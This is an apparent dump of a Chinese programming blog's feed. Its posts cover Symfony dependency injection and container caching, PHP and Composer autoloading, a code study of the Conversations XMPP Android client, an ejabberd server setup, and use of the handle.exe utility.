<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">error</span><span class="p">(</span><span class="nv">$message</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$context</span> <span class="o">=</span> <span class="k">array</span><span class="p">())</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">decoratedLogger</span><span class="o">-></span><span class="na">error</span><span class="p">(</span><span class="s1">'❌ '</span><span class="o">.</span><span class="nv">$message</span><span class="p">,</span> <span class="nv">$context</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">warning</span><span class="p">(</span><span class="nv">$message</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$context</span> <span class="o">=</span> <span class="k">array</span><span class="p">())</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">decoratedLogger</span><span class="o">-></span><span class="na">warning</span><span class="p">(</span><span class="s1">'⚠️ '</span><span class="o">.</span><span class="nv">$message</span><span class="p">,</span> <span class="nv">$context</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">notice</span><span class="p">(</span><span class="nv">$message</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$context</span> <span class="o">=</span> <span class="k">array</span><span class="p">())</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">decoratedLogger</span><span class="o">-></span><span class="na">notice</span><span class="p">(</span><span class="s1">'📝 '</span> <span class="o">.</span> <span class="nv">$message</span><span class="p">,</span> <span class="nv">$context</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">info</span><span class="p">(</span><span class="nv">$message</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$context</span> <span class="o">=</span> <span class="k">array</span><span class="p">())</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">decoratedLogger</span><span class="o">-></span><span class="na">info</span><span class="p">(</span><span class="s1">'ℹ️ '</span><span class="o">.</span><span class="nv">$message</span><span class="p">,</span> <span class="nv">$context</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">debug</span><span class="p">(</span><span class="nv">$message</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$context</span> <span class="o">=</span> <span class="k">array</span><span class="p">())</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">decoratedLogger</span><span class="o">-></span><span class="na">debug</span><span class="p">(</span><span class="s1">'🤖 '</span><span class="o">.</span><span class="nv">$message</span><span class="p">,</span> <span class="nv">$context</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">log</span><span class="p">(</span><span class="nv">$level</span><span class="p">,</span> <span class="nv">$message</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$context</span> <span class="o">=</span> <span class="k">array</span><span class="p">())</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">decoratedLogger</span><span class="o">-></span><span class="na">log</span><span class="p">(</span><span class="nv">$level</span><span class="p">,</span> <span class="nv">$message</span><span class="p">,</span> <span class="nv">$context</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>更改<code>config/monolog.php</code>注入装饰服务并将原始日志服务注入到装饰服务的构造函数的参数中:</p>
<div class="highlight"><pre><span></span><code><span class="x">...</span>
<span class="x">$container->register(FancyLoggerDecorator::class)</span>
<span class="x"> ->setDecoratedService(LoggerInterface::class)</span>
<span class="x"> ->addArgument(new Reference(FancyLoggerDecorator::class.'.inner'));</span>
</code></pre></div>
<p><strong>被装饰的LoggerInterface的services id会自动转换为装饰服务的名称加上<code>.inner</code></strong></p>
<p><img alt="image-20210616091716908" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/kEFElASCpw.jpg"></p>
<h2>优化性能</h2>
<h3>缓存已经编译的配置</h3>
<p><strong>在现阶段的代码中,每次我们发起一个请求,容器都会重新创建一次,由于我们的应用程序比较小,看不出来对性能的影响,我们通过下面的代码来演示缓存对性能的提升效果</strong></p>
<p>使用<code>Symfony\Component\DependencyInjection\Dumper\PhpDumper</code>类将容器dump到文件中来进行缓存,另外在容器编译之后,我们设置了一个3s的等待以更明显地显示效果</p>
<p><code>public/index.php</code>:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">require</span> <span class="no">__DIR__</span><span class="o">.</span><span class="s1">'/../vendor/autoload.php'</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Authorization\AccessManager</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Authorization\Voter\PostVoter</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Controller\PostController</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Entity\Post</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Entity\User</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Symfony\Component\DependencyInjection\ContainerBuilder</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Symfony\Component\DependencyInjection\Loader\PhpFileLoader</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Symfony\Component\Config\FileLocator</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Symfony\Component\DependencyInjection\Dumper\PhpDumper</span><span class="p">;</span>
<span class="nv">$cachedContainerFile</span> <span class="o">=</span> <span class="no">__DIR__</span> <span class="o">.</span><span class="s1">'/../var/cache/CachedContainer.php'</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">file_exists</span><span class="p">(</span><span class="nv">$cachedContainerFile</span><span class="p">))</span> <span class="p">{</span>
<span class="k">require_once</span> <span class="nv">$cachedContainerFile</span><span class="p">;</span>
<span class="nv">$container</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">CachedContainer</span><span class="p">();</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nv">$container</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">ContainerBuilder</span><span class="p">();</span>
<span class="nv">$loader</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">PhpFileLoader</span><span class="p">(</span><span class="nv">$container</span><span class="p">,</span> <span class="k">new</span> <span class="nx">FileLocator</span><span class="p">(</span><span class="no">__DIR__</span><span class="o">.</span><span class="s1">'/../config'</span><span class="p">));</span>
<span class="nv">$loader</span><span class="o">-></span><span class="na">load</span><span class="p">(</span><span class="s1">'parameters.php'</span><span class="p">);</span>
<span class="nv">$loader</span><span class="o">-></span><span class="na">load</span><span class="p">(</span><span class="s1">'config.php'</span><span class="p">);</span>
<span class="nv">$loader</span><span class="o">-></span><span class="na">load</span><span class="p">(</span><span class="s1">'monolog.php'</span><span class="p">);</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">compile</span><span class="p">();</span>
<span class="c1">// make the compilation really long to show the difference</span>
<span class="nb">sleep</span><span class="p">(</span><span class="mi">3</span><span class="p">);</span>
<span class="nv">$dumper</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">PhpDumper</span><span class="p">(</span><span class="nv">$container</span><span class="p">);</span>
<span class="nb">file_put_contents</span><span class="p">(</span><span class="nv">$cachedContainerFile</span><span class="p">,</span> <span class="nv">$dumper</span><span class="o">-></span><span class="na">dump</span><span class="p">([</span><span class="s1">'class'</span> <span class="o">=></span> <span class="s1">'CachedContainer'</span><span class="p">]));</span>
<span class="p">}</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">get</span><span class="p">(</span><span class="nx">PostController</span><span class="o">::</span><span class="na">class</span><span class="p">)</span><span class="o">-></span><span class="na">index</span><span class="p">();</span>
</code></pre></div>
<p>我们将容器内容缓存到了文件中,当下一次请求到达的时候我们会先判断文件是否存在(容器是否被缓存),如果文件存在则直接<code>require_once</code>,否则就重新进行容器的编译</p>
<p><strong>xdm可以自己运行一下代码体验一下,第一次会等待几秒,第二次访问你计划看不到浏览器刷新,因为已经缓存了,所以速度非常快</strong></p>
<p>在缓存的文件<code>var/cache/CachedContainer.php</code>文件中我们可以看到如下代码</p>
<div class="highlight"><pre><span></span><code><span class="x">...</span>
<span class="x">protected function getPostControllerService()</span>
<span class="x">{</span>
<span class="x"> $a = new \App\Authorization\AccessManager();</span>
<span class="x"> $b = new \App\Authorization\Voter\PostVoter();</span>
<span class="x"> $c = new \Monolog\Logger('voter');</span>
<span class="x"> $c->pushHandler(new \Monolog\Handler\StreamHandler('C:\\Users\\x\\phplearn\\symfony\\container\\config/../var/app.log'));</span>
<span class="x"> $d = new \App\Logger\FancyLoggerDecorator($c);</span>
<span class="x"> $b->setLogger($d);</span>
<span class="x"> $e = new \App\Authorization\Voter\TestVoter();</span>
<span class="x"> $e->setLogger($d);</span>
<span class="x"> $a->addVoter($b);</span>
<span class="x"> $a->addVoter($e);</span>
<span class="x"> return $this->services['App\\Controller\\PostController'] = new \App\Controller\PostController($a);</span>
<span class="x">}</span>
<span class="x">...</span>
</code></pre></div>
<p>上面的代码完全符合我们之前讲的关于容器的知识点</p>
<ul>
<li>AccessManager和PostVoter、TestVoter作为私有服务被初始化(服务的注册)</li>
<li>日志服务被初始化($c),voter作为构造函数参数传入,然后根据monolog.php的配置调用pushHandler方法</li>
<li>装饰服务($d)被初始化,日志服务作为构造函数参数被注入</li>
<li>PostVoter和TestVoter通过setter将日志服务注入</li>
<li>AccessManager服务($a)将PostVoter和TestVoter服务注入</li>
<li>最后PostController将自己添加到services数组中,service id就是他的FQCN(<code>App\\Controller\\PostController</code>)</li>
</ul>
<p>但是上面的缓存机制还存在问题,一旦我们的配置更新了,缓存也就失效了,但是我们的app还在继续使用之前缓存的过时的容器</p>
<p>因此我们需要判断一下当前运行环境是生产环境还是开发环境</p>
<div class="highlight"><pre><span></span><code><span class="x">...</span>
<span class="x">$env = "dev";</span>
<span class="x">if ("prod" === $env && file_exists($cachedContainerFile))</span>
<span class="x">...</span>
</code></pre></div>
<p>增加一个<code>$env</code>变量来表示当前的环境,在<code>if</code>语句中新增一个判断环境的条件即可</p>
<p><strong>最佳的实践是创建一个<code>.env</code>文件,然后使用<code>symfony/dotenv</code>来解析该文件中的变量,从而使得这些变量可以通过<code>$_ENV</code>在任何地方被访问到</strong></p>
<div class="highlight"><pre><span></span><code><span class="x">...</span>
<span class="x">$dotenv = new Dotenv();</span>
<span class="x">$dotenv->load('../.env');</span>
<span class="x">if ("prod" === $_ENV['env'] && file_exists($cachedContainerFile))</span>
<span class="x">...</span>
</code></pre></div>
<p>.env:</p>
<div class="highlight"><pre><span></span><code>env=prod
</code></pre></div>
<h3>通过变量名称进行注入</h3>
<p>我们前面注入的都是各种服务,如果想要注入变量怎么办</p>
<p>这一点可以借助Definition原型来实现,通过<code>setBindings</code>方法可以将一个变量名称和现有变量进行绑定</p>
<p><code>config/config.php</code>:</p>
<div class="highlight"><pre><span></span><code><span class="x">...</span>
<span class="x">//先给容器设置一个env参数</span>
<span class="x">$container->setParameter('env', $_ENV['env']);</span>
<span class="x">...</span>
<span class="x">$privateDefinition</span>
<span class="x"> ->setAutowired(true)</span>
<span class="x"> ->setAutoconfigured(true)</span>
<span class="x"> ->setPublic(false)</span>
<span class="x"> //将容器中的env参数和$env绑定,这样当privateDefinition定义的任何服务需要使用$env变量时</span>
<span class="x"> //就会解析成容器的env参数,也就是$_ENV['env']</span>
<span class="x"> ->setBindings(['$env' => $container->getParameter('env'),]);</span>
<span class="x">...</span>
</code></pre></div>
<p>然后我们哪一个服务需要env变量就在哪一个服务中添加一个对应的成员即可</p>
<p><code>src\Authorization\Voter\PostVoter.php</code>:</p>
<div class="highlight"><pre><span></span><code><span class="x">...</span>
<span class="x">private $env;</span>
<span class="x">public function __construct(string $env)</span>
<span class="x">{</span>
<span class="x"> $this->env = $env;</span>
<span class="x"> dump($this->env);</span>
<span class="x">}</span>
<span class="x">public function vote(string $attribute, $subject, User $user): bool</span>
<span class="x">{</span>
<span class="x"> $this->logger->debug(self::class.' voter executed', ['env' => $this->env]);</span>
<span class="x"> ...</span>
<span class="x">}</span>
<span class="x">...</span>
</code></pre></div>
<p><img alt="image-20210616105212436" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/TEqJupdmxx.jpg"></p>
<h1>结语</h1>
<p>牛逼</p>
<p>references:</p>
<ul>
<li><a href="https://www.tutorialspoint.com/symfony/symfony_service_container.htm">https://www.tutorialspoint.com/symfony/symfony_service_container.htm</a></li>
<li><a href="https://medium.com/manomano-tech/diving-into-symfonys-dependencyinjection-part-1-first-steps-with-the-container-2fad0593c052">https://medium.com/manomano-tech/diving-into-symfonys-dependencyinjection-part-1-first-steps-with-the-container-2fad0593c052</a></li>
<li><a href="https://medium.com/manomano-tech/diving-into-symfonys-dependencyinjection-part-2-symbiosis-with-the-config-component-b535c5a2c591">https://medium.com/manomano-tech/diving-into-symfonys-dependencyinjection-part-2-symbiosis-with-the-config-component-b535c5a2c591</a></li>
<li><a href="https://medium.com/manomano-tech/diving-into-symfonys-dependencyinjection-part-3-advanced-uses-55e5a945dd54">Diving into Symfony’s DependencyInjection — Part 3: Advanced uses | by Alex Makdessi | Manomano Tech | Medium</a></li>
</ul>php之autoload(自动加载)2021-06-06T00:00:00+02:002021-06-06T00:00:00+02:0012138tag:None,2021-06-06:phpzhi-autoloadzi-dong-jia-zai.html<h1>前言</h1>
<p>php的autoload机制对于大型项目来说尤为重要,因为随着项目体积的增大,需要用到的类也会随之增多,如果全部都靠手动进行include,一则浪费精力,二来会加载很多 …</p><h1>前言</h1>
<p>php的autoload机制对于大型项目来说尤为重要,因为随着项目体积的增大,需要用到的类也会随之增多,如果全部都靠手动进行include,一则浪费精力,二来会加载很多不必要的类,造成内存资源的浪费</p>
<p>因此php引入了autoload机制,来解决这个问题</p>
<h1>引子</h1>
<p>php提供了<code>spl_autoload_register</code>方法来让我们注册自己的自动加载方法</p>
<p>被注册的方法将会在php找不到你所使用的类的时候进行调用,然后把相应的类文件include到当前文件中</p>
<p>一个简单的例子</p>
<p>index.php</p>
<div class="highlight"><pre><span></span><code><span class="o"><</span><span class="err">?</span><span class="n">php</span>
<span class="n">function</span><span class="w"> </span><span class="n">custom_autoload_function</span><span class="p">(</span><span class="o">$</span><span class="k">class</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">include</span><span class="w"> </span><span class="s1">'lib</span><span class="se">\\</span><span class="s1">'</span><span class="w"> </span><span class="o">.</span><span class="w"> </span><span class="o">$</span><span class="k">class</span><span class="w"> </span><span class="o">.</span><span class="s1">'.php'</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">spl_autoload_register</span><span class="p">(</span><span class="s1">'custom_autoload_function'</span><span class="p">);</span>
<span class="o">$</span><span class="n">obj</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">new</span><span class="w"> </span><span class="n">Fuck</span><span class="p">();</span>
</code></pre></div>
<p>我们在当前目录下创建<code>lib</code>目录,然后新建Fuck.php</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">Fuck</span> <span class="p">{</span>
<span class="k">function</span> <span class="fm">__construct</span><span class="p">()</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"fucking autoload test!"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p><img alt="1622964660633" src="php autoload.assets/1622964660633.png"></p>
<p>上面我们是手动进行的autoload方法的注册,下面我们使用composer的自动加载功能</p>
<h1>composer自动加载</h1>
<p>大致有四种类型</p>
<ul>
<li>file</li>
<li>classmap</li>
<li>psr-0</li>
<li>psr-4</li>
</ul>
<p>下面我们通过实例来进行讲解</p>
<p>在家目录创建<code>~\phplearning\autoload</code>目录,然后执行composer init初始化一个composer项目,全部默认即可</p>
<h2>file</h2>
<p>修改composer.json如下</p>
<div class="highlight"><pre><span></span><code><span class="p">{</span>
<span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"inclu/autoload"</span><span class="p">,</span>
<span class="w"> </span><span class="nt">"autoload"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nt">"files"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"lib/Foo.php"</span><span class="p">,</span><span class="w"> </span><span class="s2">"lib/Bar.php"</span><span class="p">]</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>然后执行composer dump-autoload命令,会自动创建出vendor目录并生成其所需的各种文件</p>
<p>之后,我们只需要在源文件中加入下面这行代码即可:</p>
<div class="highlight"><pre><span></span><code><span class="x">include 'vendor\autoload.php';</span>
</code></pre></div>
<p><strong>上面composer.json中的file指令添加了一个文件列表,当php找不到你调用的类的时候就会从这个列表中依次查询,直到找到你所需的类</strong></p>
<p>因此我们建立lib目录并创建Foo.php以及Bar.php文件</p>
<p>Foo.php</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">Foo</span> <span class="p">{</span>
<span class="k">function</span> <span class="fm">__construct</span><span class="p">()</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Foo autoload test!"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>Bar.php</p>
<div class="highlight"><pre><span></span><code><?php
class<span class="w"> </span>Bar<span class="w"> </span><span class="o">{</span>
<span class="w"> </span><span class="k">function</span><span class="w"> </span>__construct<span class="o">()</span><span class="w"> </span><span class="o">{</span>
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"Bar autoload test!"</span><span class="p">;</span>
<span class="w"> </span><span class="o">}</span>
<span class="o">}</span>
</code></pre></div>
<p>index.php</p>
<div class="highlight"><pre><span></span><code><?php
include<span class="w"> </span><span class="s1">'vendor\autoload.php'</span><span class="p">;</span>
<span class="nv">$obj</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>new<span class="w"> </span>Foo<span class="o">()</span><span class="p">;</span>
<span class="nb">echo</span><span class="w"> </span><span class="s2">"<br />"</span><span class="p">;</span>
<span class="nv">$obj</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>new<span class="w"> </span>Bar<span class="o">()</span><span class="p">;</span>
</code></pre></div>
<p><img alt="1622965209112" src="php autoload.assets/1622965209112.png"></p>
<h2>classmap</h2>
<p>classmap指令告诉php去指定的目录中搜索需要加载的类文件</p>
<p>composer.json</p>
<div class="highlight"><pre><span></span><code><span class="p">{</span>
<span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"inclu/autoload"</span><span class="p">,</span>
<span class="w"> </span><span class="nt">"autoload"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nt">"classmap"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"lib"</span><span class="p">]</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>再次运行<code>composer dump-autoload</code></p>
<p><img alt="1622965209112" src="php autoload.assets/1622965209112.png"></p>
<p>依然可以正常运行</p>
<h2>psr-0</h2>
<p>php的psr-0规范定义了命名空间的相关规则,详细信息请自行<a href="https://www.google.com/">google</a>,在此不做讲解</p>
<p>composer.json</p>
<div class="highlight"><pre><span></span><code><span class="p">{</span>
<span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"inclu/autoload"</span><span class="p">,</span>
<span class="w"> </span><span class="nt">"autoload"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nt">"psr-0"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nt">"Mother\\Fucker\\"</span><span class="p">:</span><span class="w"> </span><span class="s2">"lib"</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>psr-0指令规定了<code>Mother\Fucker</code>命名空间对应lib目录,也就是说,该命名空间下的类都位于<code>lib\Mother\Fucker</code>目录下,可以看到这里命名空间和目录结构有一个明显的一一对应的关系</p>
<p><code>lib\Mother\Fucker\Fuck.php</code></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">namespace</span> <span class="nx">Mother\Fucker</span><span class="p">;</span>
<span class="k">class</span> <span class="nc">Fuck</span> <span class="p">{</span>
<span class="k">function</span> <span class="fm">__construct</span><span class="p">()</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"motherfucker PSR-0 autoload test!"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>index.php</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">include</span> <span class="s1">'vendor\autoload.php'</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Mother\Fucker\Fuck</span><span class="p">;</span>
<span class="nv">$obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Fuck</span><span class="p">();</span>
</code></pre></div>
<p>重新运行composer dump-autoload</p>
<p><img alt="1622965862076" src="php autoload.assets/1622965862076.png"></p>
<h2>PSR-4</h2>
<p>composer.json</p>
<div class="highlight"><pre><span></span><code><span class="p">{</span>
<span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"inclu/autoload"</span><span class="p">,</span>
<span class="w"> </span><span class="nt">"autoload"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nt">"psr-4"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nt">"Mother\\Fucker\\"</span><span class="p">:</span><span class="w"> </span><span class="s2">"lib"</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p><strong>psr-4和psr-0的写法是一样的,只有一点不同,就是,命名空间不需要和目录结构对应</strong></p>
<p>上面的psr-4指令规定了lib目录下的类文件都是在<code>Mother\Fucker</code>命名空间下的</p>
<p><code>lib\Fuck.php</code></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">namespace</span> <span class="nx">Mother\Fucker</span><span class="p">;</span>
<span class="k">class</span> <span class="nc">Fuck</span> <span class="p">{</span>
<span class="k">function</span> <span class="fm">__construct</span><span class="p">()</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"motherfucker PSR-4 autoload test!"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>重新运行composer dump-autoload</p>
<p><img alt="1622966054181" src="php autoload.assets/1622966054181.png"></p>
<p>references:</p>
<ul>
<li>
<p><a href="https://www.php.net/manual/zh/function.spl-autoload-register.php">https://www.php.net/manual/zh/function.spl-autoload-register.php</a></p>
</li>
<li>
<p><a href="https://code.tutsplus.com/tutorials/how-to-autoload-classes-with-composer-in-php--cms-35649">https://code.tutsplus.com/tutorials/how-to-autoload-classes-with-composer-in-php--cms-35649</a></p>
</li>
</ul>Conversations代码学习2021-06-01T00:00:00+02:002021-06-01T00:00:00+02:0012138tag:None,2021-06-01:conversationsdai-ma-xue-xi.html<h1>前言</h1>
<p>儿童节快乐!!!</p>
<p>源代码:</p>
<div class="highlight"><pre><span></span><code>git<span class="w"> </span>clone<span class="w"> </span>--depth<span class="w"> </span><span class="m">1</span><span class="w"> </span>--branch<span class="w"> </span><span class="m">2</span>.7.0<span class="w"> </span>https://github.com/iNPUTmice/Conversations.git
</code></pre></div>
<p>克隆到本地之后,使用as打开,gradle sync的过程中可能会遇到各种问题,但是我相信xdm都可以自己解决,或者contact me</p>
<p>另外,要想 …</p><h1>前言</h1>
<p>儿童节快乐!!!</p>
<p>源代码:</p>
<div class="highlight"><pre><span></span><code>git<span class="w"> </span>clone<span class="w"> </span>--depth<span class="w"> </span><span class="m">1</span><span class="w"> </span>--branch<span class="w"> </span><span class="m">2</span>.7.0<span class="w"> </span>https://github.com/iNPUTmice/Conversations.git
</code></pre></div>
<p>克隆到本地之后,使用as打开,gradle sync的过程中可能会遇到各种问题,但是我相信xdm都可以自己解决,或者contact me</p>
<p>另外,要想进行调试的话,你需要一个xmpp server,参考<a href="http://144.34.164.217/xmpp-serveran-zhuang.html">这篇安装文章</a></p>
<h1>welcom activity</h1>
<p>这个活动是app第一次启动时首先创建的活动</p>
<h2>0x1</h2>
<p>第一个知识点是<code>DataBindingUtil.setContentView</code></p>
<p>位置:</p>
<div class="highlight"><pre><span></span><code>Conversations<span class="se">\s</span>rc<span class="se">\c</span>onversations<span class="se">\j</span>ava<span class="se">\e</span>u<span class="se">\s</span>iacs<span class="se">\c</span>onversations<span class="se">\u</span>i<span class="se">\W</span>elcomeActivity.java
line<span class="w"> </span><span class="m">109</span>~136
</code></pre></div>
<p>使用<code>DataBindingUtil</code>的<code>setContentView</code>进行数据绑定之后,<strong>原来的布局文件会转换成一个类,按钮的ID名称随之变成该类的成员变量,名称也会有所变化</strong></p>
<p>生成的类文件根据第二个参数,也就是布局文件的名称决定,本例中生成的类名称为
<code>out\eu\siacs\conversations\databinding\ActivityWelcomeBinding.java</code></p>
<p>规则就是<strong>首字母大写,下划线去掉,然后下换线后面的第一个字母大写后面再加一个<code>Binding</code></strong></p>
<p>id的名称转换规则<strong>就是去掉下划线,首字母小写,下划线后面的字母大写</strong></p>
<p>比如在本例中注册新账户的按钮ID是<code>register_new_account</code>,那么成员变量的名称就应该是<code>registerNewAccount</code>,如果把按钮ID改为<code>register_n_ew_account</code>,那么成员变量的名称就会变成<code>registerNEwAccount</code></p>
<h2>0x2</h2>
<p>在点击完使用已有账户的按钮之后,会唤起另一个activity:<code>EditAccountActivity</code></p>XMPP server安装2021-05-30T00:00:00+02:002021-05-30T00:00:00+02:0012138tag:None,2021-05-30:xmpp-serveran-zhuang.html<h1>前言</h1>
<p>XMPP是当代IM使用最广泛的一种协议,这里我们安装的是使用最广泛的XMPP服务器——<code>ejabberd</code></p>
<h1>安装</h1>
<p>我们这里用的操作系统是Ubuntu操作系统</p>
<div class="highlight"><pre><span></span><code>Distributor<span class="w"> </span>ID:<span class="w"> </span>Ubuntu
Description:<span class="w"> </span>Ubuntu<span class="w"> </span><span class="m">20</span>.04<span class="w"> </span>LTS
Release:<span class="w"> </span><span class="m">20</span>.04
Codename:<span class="w"> </span>focal
</code></pre></div>
<p>直接使用 …</p><h1>前言</h1>
<p>XMPP是当代IM使用最广泛的一种协议,这里我们安装的是使用最广泛的XMPP服务器——<code>ejabberd</code></p>
<h1>安装</h1>
<p>我们这里用的操作系统是Ubuntu操作系统</p>
<div class="highlight"><pre><span></span><code>Distributor<span class="w"> </span>ID:<span class="w"> </span>Ubuntu
Description:<span class="w"> </span>Ubuntu<span class="w"> </span><span class="m">20</span>.04<span class="w"> </span>LTS
Release:<span class="w"> </span><span class="m">20</span>.04
Codename:<span class="w"> </span>focal
</code></pre></div>
<p>直接使用<code>apt install ejabberd</code>进行安装</p>
<h1>配置</h1>
<p>配置文件路径</p>
<div class="highlight"><pre><span></span><code>/etc/ejabberd/ejabberd.yml
</code></pre></div>
<p>将第40行的<code>localhost</code>改成我们自己域名:<code>penhub.space</code></p>
<p>在第135行的<code>""</code>之间输入我们<strong>将要注册的管理员账号的用户名</strong></p>
<p><img alt="1622369233494" src="XMPP server安装.assets/1622369233494.png"></p>
<p>编辑完成后,保存退出</p>
<p>重启<code>ejabberd</code>服务</p>
<div class="highlight"><pre><span></span><code>/usr/sbin/ejabberdctl<span class="w"> </span>restart
</code></pre></div>
<p>注册管理员账户</p>
<div class="highlight"><pre><span></span><code>/usr/sbin/ejabberdctl<span class="w"> </span>register<span class="w"> </span>admin<span class="w"> </span>penhub.space<span class="w"> </span><span class="m">12345</span>
</code></pre></div>
<p>然后访问<code>https://penhub.space:5280/admin</code>,<strong>注意是https</strong></p>
<p>输入管理员账户密码即可进入管理面板</p>
<p><img alt="1622372177002" src="XMPP server安装.assets/1622372177002.png"></p>
<p>为了安全起见,我们将<code>ejabberd</code>的管理面板端口都监听在环回地址上</p>
<p><img alt="1622372255474" src="XMPP server安装.assets/1622372255474.png"></p>
<h1>使用pidgin客户端进行聊天测试</h1>
<p>先创建两个测试用户</p>
<div class="highlight"><pre><span></span><code>/usr/sbin/ejabberdctl<span class="w"> </span>register<span class="w"> </span>tom<span class="w"> </span>penhub.space<span class="w"> </span>password123
/usr/sbin/ejabberdctl<span class="w"> </span>register<span class="w"> </span>bob<span class="w"> </span>penhub.space<span class="w"> </span>password456
</code></pre></div>
<p><img alt="1622372401273" src="XMPP server安装.assets/1622372401273.png"></p>
<p>已经可以进行正常聊天了</p>
<p>两者互加为好友后,还能互相传送文件</p>工具收集2021-04-20T00:00:00+02:002021-04-20T00:00:00+02:0012138tag:None,2021-04-20:gong-ju-shou-ji.html<h1>列出进程占用的资源</h1>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/handle.exe">handle.exe</a></p>
<div class="highlight"><pre><span></span><code>handle.exe -u
</code></pre></div>
<p><img alt="1618927397834" src="工具合集.assets/1618927397834.png"></p>
<p>在实际使用场景中,可以使用如下命令同意使用协议并将输出结果导出至文件中</p>
<div class="highlight"><pre><span></span><code>handle.exe …</code></pre></div><h1>列出进程占用的资源</h1>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/handle.exe">handle.exe</a></p>
<div class="highlight"><pre><span></span><code>handle.exe -u
</code></pre></div>
<p><img alt="1618927397834" src="工具合集.assets/1618927397834.png"></p>
<p>在实际使用场景中,可以使用如下命令同意使用协议并将输出结果导出至文件中</p>
<div class="highlight"><pre><span></span><code>handle.exe<span class="w"> </span>-u<span class="w"> </span>-accepteula<span class="w"> </span>><span class="w"> </span>result.txt
